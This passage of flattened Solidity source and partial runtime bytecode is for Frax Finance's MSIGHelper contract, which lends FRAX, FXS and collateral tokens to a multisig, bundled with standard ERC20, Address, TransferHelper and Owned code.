created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File contracts/ERC20/ERC20.sol /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20Mintable}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory __name, string memory __symbol) public { _name = __name; _symbol = __symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address.approve(address spender, uint256 amount) */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for `accounts`'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual { uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance"); _approve(account, _msgSender(), decreasedAllowance); _burn(account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Destroys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See {_burn} and {_approve}. */ function _burnFrom(address account, uint256 amount) internal virtual { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance")); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of `from`'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of `from`'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:using-hooks.adoc[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File contracts/Uniswap/TransferHelper.sol // helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false library TransferHelper { function safeApprove(address token, address to, uint value) internal { // bytes4(keccak256(bytes('approve(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED'); } function safeTransfer(address token, address to, uint value) internal { // bytes4(keccak256(bytes('transfer(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED'); } function safeTransferFrom(address token, address from, address to, uint value) internal { // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED'); } function safeTransferETH(address to, uint value) internal { (bool success,) = to.call{value:value}(new bytes(0)); require(success, 'TransferHelper: ETH_TRANSFER_FAILED'); } } // File contracts/Staking/Owned.sol // https://docs.synthetix.io/contracts/Owned contract Owned { address public owner; address public nominatedOwner; constructor (address _owner) public { require(_owner != address(0), "Owner address cannot be 0"); owner = _owner; emit OwnerChanged(address(0), _owner); } function nominateNewOwner(address _owner) external onlyOwner { nominatedOwner = _owner; emit OwnerNominated(_owner); } function acceptOwnership() external { require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership"); emit OwnerChanged(owner, nominatedOwner); owner = nominatedOwner; nominatedOwner = address(0); } modifier onlyOwner { require(msg.sender == owner, "Only the contract owner may perform this action"); _; } event OwnerNominated(address newOwner); event OwnerChanged(address oldOwner, address newOwner); } // File contracts/Misc_AMOs/MSIGHelper.sol // ==================================================================== // | ______ _______ | // | / _____________ __ __ / ____(_____ ____ _____ ________ | // | / /_ / ___/ __ `| |/_/ / /_ / / __ \/ __ `/ __ \/ ___/ _ \ | // | / __/ / / / /_/ _> < / __/ / / / / / /_/ / / / / /__/ __/ | // | /_/ /_/ \__,_/_/|_| /_/ /_/_/ /_/\__,_/_/ /_/\___/\___/ | // | | // ==================================================================== // ============================ MSIGHelper ============================ // ==================================================================== // Accepts tokens from the AMO Minter and then lends them to an MSIG // Frax Finance: https://github.com/FraxFinance // Primary Author(s) // Travis Moore: https://github.com/FortisFortuna // Reviewer(s) / Contributor(s) // Sam Kazemian: https://github.com/samkazemian // Jason Huan: https://github.com/jasonhuan contract MSIGHelper is Owned { /* ========== STATE VARIABLES ========== */ // Instances and addresses IFrax public FRAX = IFrax(0x853d955aCEf822Db058eb8505911ED77F175b99e); IFxs public FXS = IFxs(0x3432B6A60D23Ca0dFCa7761B7ab56459D9C964D0); ERC20 public collateral_token; IFraxAMOMinter public amo_minter; // Price constants uint256 private constant PRICE_PRECISION = 1e6; // AMO Minter related address public amo_minter_address; // Collateral related address public collateral_address; uint256 public col_idx; // Admin addresses address public timelock_address; // Bridge related address public msig_address; // Balance tracking uint256 public frax_lent; uint256 public fxs_lent; uint256 public collat_lent; // Collateral balance related uint256 public missing_decimals; /* ========== MODIFIERS ========== */ modifier onlyByOwnGov() { require(msg.sender == owner || msg.sender == timelock_address, "Not owner or timelock"); _; } /* ========== CONSTRUCTOR ========== */ constructor ( address _owner, address _amo_minter_address, address _msig_address ) Owned(_owner) { // AMO Minter related amo_minter_address = _amo_minter_address; amo_minter = IFraxAMOMinter(_amo_minter_address); timelock_address = amo_minter.timelock_address(); // MSIG related msig_address = _msig_address; // Collateral related collateral_address = amo_minter.collateral_address(); col_idx = amo_minter.col_idx(); collateral_token = ERC20(collateral_address); missing_decimals = amo_minter.missing_decimals(); } /* ========== VIEWS ========== */ function getTokenType(address token_address) public view returns (uint256) { // 0 = FRAX, 1 = FXS, 2 = Collateral if (token_address == address(FRAX)) return 0; else if (token_address == address(FXS)) return 1; else if (token_address == address(collateral_token)) return 2; // Revert on invalid tokens revert("getTokenType: Invalid token"); } function showTokenBalances() public view returns (uint256[3] memory tkn_bals) { tkn_bals[0] = FRAX.balanceOf(address(this)); // FRAX tkn_bals[1] = FXS.balanceOf(address(this)); // FXS tkn_bals[2] = collateral_token.balanceOf(address(this)); // Collateral } function showAllocations() public view returns (uint256[10] memory allocations) { // All numbers given are in FRAX unless otherwise stated // Get some token balances uint256[3] memory tkn_bals = showTokenBalances(); // FRAX allocations[0] = tkn_bals[0]; // Free FRAX allocations[1] = frax_lent; // Lent FRAX allocations[2] = allocations[0] + allocations[1]; // Total FRAX // FXS allocations[3] = tkn_bals[1]; // Free FXS allocations[4] = fxs_lent; // Lent FXS allocations[5] = allocations[3] + allocations[4]; // Total FXS // Collateral allocations[6] = tkn_bals[2] * (10 ** missing_decimals); // Free Collateral, in E18 allocations[7] = collat_lent * (10 ** missing_decimals); // Lent Collateral, in E18 allocations[8] = allocations[6] + allocations[7]; // Total Collateral, in E18 // Total USD value, in E18 // Ignores FXS allocations[9] = allocations[2] + allocations[8]; } // Needed for the Frax contract to function function collatDollarBalance() public view returns (uint256) { (, uint256 col_bal) = dollarBalances(); return col_bal; } function dollarBalances() public view returns (uint256 frax_val_e18, uint256 collat_val_e18) { // NOTE: The token tracker will track the actual FRAX, FXS, and Collat on the msig // Were it to be included here too, it would be a double count // Get the allocations uint256[10] memory allocations = showAllocations(); // FRAX portion is Frax * CR uint256 frax_portion_with_cr = (allocations[0] * FRAX.global_collateral_ratio()) / PRICE_PRECISION; // Collateral portion uint256 collat_portion = allocations[6]; // Total value, not including CR, ignoring FXS frax_val_e18 = allocations[0] + allocations[6]; // Collat value, accounting for CR on the FRAX portion collat_val_e18 = collat_portion + frax_portion_with_cr; } /* ========== MUTATIVE FUNCTIONS ========== */ function lend(address token_address, uint256 token_amount) external onlyByOwnGov { // Get the token type uint256 token_type = getTokenType(token_address); // Can be overridden if (token_type == 0){ TransferHelper.safeTransfer(address(FRAX), msig_address, token_amount); frax_lent += token_amount; } else if (token_type == 1) { TransferHelper.safeTransfer(address(FXS), msig_address, token_amount); fxs_lent += token_amount; } else { TransferHelper.safeTransfer(collateral_address, msig_address, token_amount); collat_lent += token_amount; } } /* ========== Burns and givebacks ========== */ // Burn unneeded or excess FRAX. Goes through the minter function burnFRAX(uint256 frax_amount) public onlyByOwnGov { FRAX.approve(amo_minter_address, frax_amount); amo_minter.burnFraxFromAMO(frax_amount); // Update the balance after the transfer goes through if (frax_amount >= frax_lent) frax_lent = 0; else { frax_lent -= frax_amount; } } // Burn unneeded or excess FXS. Goes through the minter function burnFXS(uint256 fxs_amount) public onlyByOwnGov { FXS.approve(amo_minter_address, fxs_amount); amo_minter.burnFxsFromAMO(fxs_amount); // Update the balance after the transfer goes through if (fxs_amount >= fxs_lent) fxs_lent = 0; else { fxs_lent -= fxs_amount; } } // Give collat profits back. Goes through the minter function giveCollatBack(uint256 collat_amount) external onlyByOwnGov { collateral_token.approve(amo_minter_address, collat_amount); amo_minter.receiveCollatFromAMO(collat_amount); // Update the balance after the transfer goes through if (collat_amount >= collat_lent) collat_lent = 0; else { collat_lent -= collat_amount; } } /* ========== RESTRICTED FUNCTIONS - Owner or timelock only ========== */ function setTimelock(address _new_timelock) external onlyByOwnGov { timelock_address = _new_timelock; } function setMsigAddress(address _msig_address) external onlyByOwnGov { require(_msig_address != address(0), "Invalid msig address"); msig_address = _msig_address; } function recoverERC20(address tokenAddress, uint256 tokenAmount) external onlyByOwnGov { // Only the owner address can ever receive the recovery withdrawal TransferHelper.safeTransfer(tokenAddress, owner, tokenAmount); emit RecoveredERC20(tokenAddress, tokenAmount); } // Generic proxy function execute( address _to, uint256 _value, bytes calldata _data ) external onlyByOwnGov returns (bool, bytes memory) { (bool success, bytes memory result) = _to.call{value:_value}(_data); return (success, result); } /* ========== EVENTS ========== */ event RecoveredERC20(address token, uint256 amount); event BridgeInfoChanged(address frax_bridge_address, address fxs_bridge_address, address collateral_bridge_address, address destination_address_override, string non_evm_destination_address); }
0x608060405234801561001057600080fd5b50600436106101da5760003560e01c80637e34026e11610104578063a4c3e73c116100a2578063d42c513811610071578063d42c513814610457578063d7bf380514610460578063dbf8af3c14610480578063dc6663c71461048957600080fd5b8063a4c3e73c146103e6578063b0e4556f14610403578063b61d27f614610423578063bdacb3031461044457600080fd5b80638da5cb5b116100de5780638da5cb5b1461039757806393272baf146103b75780639cef391b146103ca578063a2fb342d146103d357600080fd5b80637e34026e146103665780638980f11f1461037b5780638b4433961461038e57600080fd5b806323fbd1c71161017c5780633ed4e55c1161014b5780633ed4e55c1461032057806353a47bb714610329578063640ff7a91461034957806379ba50971461035e57600080fd5b806323fbd1c7146102ba5780632621db2f146102cd5780632b6e955f146102ed5780633b74d6431461030d57600080fd5b80631627540c116101b85780631627540c1461025157806317284c94146102645780631eaa0e171461027a578063200ea2221461029a57600080fd5b806302825d11146101df5780630eb9a7d6146101f457806314af33801461023e575b600080fd5b6101f26101ed366004611a9e565b6104a9565b005b600a546102149073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff90911681526020015b60405180910390f35b6101f261024c366004611a9e565b6106af565b6101f261025f3660046119b0565b6108aa565b61026c6109ca565b604051908152602001610235565b6007546102149073ffffffffffffffffffffffffffffffffffffffff1681565b6003546102149073ffffffffffffffffffffffffffffffffffffffff1681565b6101f26102c8366004611a9e565b6109dc565b6004546102149073ffffffffffffffffffffffffffffffffffffffff1681565b6006546102149073ffffffffffffffffffffffffffffffffffffffff1681565b6101f261031b3660046119b0565b610bd5565b61026c600e5481565b6001546102149073ffffffffffffffffffffffffffffffffffffffff1681565b610351610d3c565b6040516102359190611b2e565b6101f2610f37565b61036e611082565b6040516102359190611afc565b6101f26103893660046119cb565b61114d565b61026c60085481565b6000546102149073ffffffffffffffffffffffffffffffffffffffff1681565b61026c6103c53660046119b0565b611268565b61026c600b5481565b6101f26103e13660046119cb565b61134e565b6103ee6114d6565b60408051928352602083019190915201610235565b6002546102149073ffffffffffffffffffffffffffffffffffffffff1681565b6104366104313660046119f5565b6115cc565b604051610235929190611b56565b6101f26104523660046119b0565b6116f0565b61026c600d5481565b6005546102149073ffffffffffffffffffffffffffffffffffffffff1681565b61026c600c5481565b6009546102149073ffffffffffffffffffffffffffffffffffffffff1681565b60005473ffffffffffffffffffffffffffffffffffffffff163314806104e6575060095473ffffffffffffffffffffffffffffffffffffffff1633145b610551576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f4e6f74206f776e6572206f722074696d656c6f636b000000000000000000000060448201526064015b60405180910390fd5b6003546006546040517f095ea7b300000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff91821660048201526024810184905291169063095ea7b390604401602060405180830381600087803b1580156105c757600080fd5b505af11580156105db573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105ff9190611a7c565b506005546040517fe5d47fe00000000000000000000000000000000000000000000000000000000081526004810183905273ffffffffffffffffffffffffffffffffffffffff9091169063e5d47fe090602401600060405180830381600087803b15801561066c57600080fd5b505af1158015610680573d6000803e3d6000fd5b50505050600c548110610695576000600c5550565b80600c60008282546106a79190611d69565b909155505050565b60005473ffffffffffffffffffffffffffffffffffffffff163314806106ec575060095473ffffffffffffffffffffffffffffffffffffffff1633145b610752576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f4e6f74206f776e6572206f722074696d656c6f636b00000000000000000000006044820152606401610548565b600480546006546040517f095ea7b300000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff9182169381019390935260248301849052169063095ea7b390604401602060405180830381600087803b1580156107ca57600080fd5b505af11580156107de573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108029190611a7c565b506005546040517f26d9fc860000000000000000000000000000000000000000000000000000000081526004810183905273ffffffffffffffffffffffffffffffffffffffff909116906326d9fc8690602401600060405180830381600087803b15801561086f57600080fd5b505af1158015610883573d6000803e3d6000fd5b50505050600d548110610898576000600d5550565b80600d60008282546106a79190611d69565b60005473ffffffffffffffffffffffffffffffffffffffff163314610951576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602f60248201527f4f6e6c792074686520636f6e7472616374206f776e6572206d6179207065726660448201527f6f726d207468697320616374696f6e00000000000000000000000000000000006064820152608401610548565b600180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff83169081179091556040519081527f906a1c6bd7e3091ea86693dd029a831c19049ce77f1dce2ce0bab1cacbabce229060200160405180910390a150565b6000806109d56114d6565b9392505050565b60005473ffffffffffffffffffffffffffffffffffffffff16331480610a19575060095473ffffffffffffffffffffffffffffffffffffffff1633145b610a7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f4e6f74206f776e6572206f722074696d656c6f636b00000000000000000000006044820152606401610548565b6002546006546040517f095ea7b300000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff91821660048201526024810184905291169063095ea7b390604401602060405180830381600087803b158015610af557600080fd5b505af1158015610b09573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b2d9190611a7c565b506005546040517f70c594750000000000000000000000000000000000000000000000000000000081526004810183905273ffffffffffffffffffffffffffffffffffffffff909116906370c5947590602401600060405180830381600087803b158015610b9a57600080fd5b505af1158015610bae573d6000803e3d6000fd5b50505050600b548110610bc3576000600b5550565b80600b60008282546106a79190611d69565b60005473ffffffffffffffffffffffffffffffffffffffff16331480610c12575060095473ffffffffffffffffffffffffffffffffffffffff1633145b610c78576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f4e6f74206f776e6572206f722074696d656c6f636b00000000000000000000006044820152606401610548565b73ffffffffffffffffffffffffffffffffffffffff8116610cf5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f496e76616c6964206d73696720616464726573730000000000000000000000006044820152606401610548565b600a80547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b610d4461194a565b6002546040517f70a0823100000000000000000000000000000000000000000000000000000000815230600482015273ffffffffffffffffffffffffffffffffffffffff909116906370a082319060240160206040518083038186803b158015610dad57600080fd5b505afa158015610dc1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610de59190611ab7565b81526003546040517f70a0823100000000000000000000000000000000000000000000000000000000815230600482015273ffffffffffffffffffffffffffffffffffffffff909116906370a082319060240160206040518083038186803b158015610e5057600080fd5b505afa158015610e64573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e889190611ab7565b6020820152600480546040517f70a08231000000000000000000000000000000000000000000000000000000008152309281019290925273ffffffffffffffffffffffffffffffffffffffff16906370a082319060240160206040518083038186803b158015610ef757600080fd5b505afa158015610f0b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f2f9190611ab7565b604082015290565b60015473ffffffffffffffffffffffffffffffffffffffff163314610fde576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603560248201527f596f75206d757374206265206e6f6d696e61746564206265666f726520796f7560448201527f2063616e20616363657074206f776e65727368697000000000000000000000006064820152608401610548565b6000546001546040805173ffffffffffffffffffffffffffffffffffffffff93841681529290911660208301527fb532073b38c83145e3e5135377a08bf9aab55bc0fd7c1179cd4fb995d2a5159c910160405180910390a160018054600080547fffffffffffffffffffffffff000000000000000000000000000000000000000090811673ffffffffffffffffffffffffffffffffffffffff841617909155169055565b61108a611968565b6000611094610d3c565b8051808452600b54602085018190529192506110b09190611bb0565b6040830152602081015160608301819052600c54608084018190526110d491611bb0565b60a0830152600e546110e790600a611c64565b60408201516110f69190611d2c565b60c0830152600e5461110990600a611c64565b600d546111169190611d2c565b60e0830181905260c083015161112c9190611bb0565b610100830181905260408301516111439190611bb0565b6101208301525090565b60005473ffffffffffffffffffffffffffffffffffffffff1633148061118a575060095473ffffffffffffffffffffffffffffffffffffffff1633145b6111f0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f4e6f74206f776e6572206f722074696d656c6f636b00000000000000000000006044820152606401610548565b60005461121590839073ffffffffffffffffffffffffffffffffffffffff16836117da565b6040805173ffffffffffffffffffffffffffffffffffffffff84168152602081018390527f55350610fe57096d8c0ffa30beede987326bccfcb0b4415804164d0dd50ce8b1910160405180910390a15050565b60025460009073ffffffffffffffffffffffffffffffffffffffff8381169116141561129657506000919050565b60035473ffffffffffffffffffffffffffffffffffffffff838116911614156112c157506001919050565b60045473ffffffffffffffffffffffffffffffffffffffff838116911614156112ec57506002919050565b6040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f676574546f6b656e547970653a20496e76616c696420746f6b656e00000000006044820152606401610548565b60005473ffffffffffffffffffffffffffffffffffffffff1633148061138b575060095473ffffffffffffffffffffffffffffffffffffffff1633145b6113f1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f4e6f74206f776e6572206f722074696d656c6f636b00000000000000000000006044820152606401610548565b60006113fc83611268565b90508061144a57600254600a5461142d9173ffffffffffffffffffffffffffffffffffffffff9081169116846117da565b81600b600082825461143f9190611bb0565b909155506114d19050565b806001141561148f57600354600a5461147d9173ffffffffffffffffffffffffffffffffffffffff9081169116846117da565b81600c600082825461143f9190611bb0565b600754600a546114b99173ffffffffffffffffffffffffffffffffffffffff9081169116846117da565b81600d60008282546114cb9190611bb0565b90915550505b505050565b60008060006114e3611082565b90506000620f4240600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632eb9771b6040518163ffffffff1660e01b815260040160206040518083038186803b15801561155357600080fd5b505afa158015611567573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061158b9190611ab7565b83516115979190611d2c565b6115a19190611bc8565b60c08301518351919250906115b7908290611bb0565b94506115c38282611bb0565b93505050509091565b60008054606090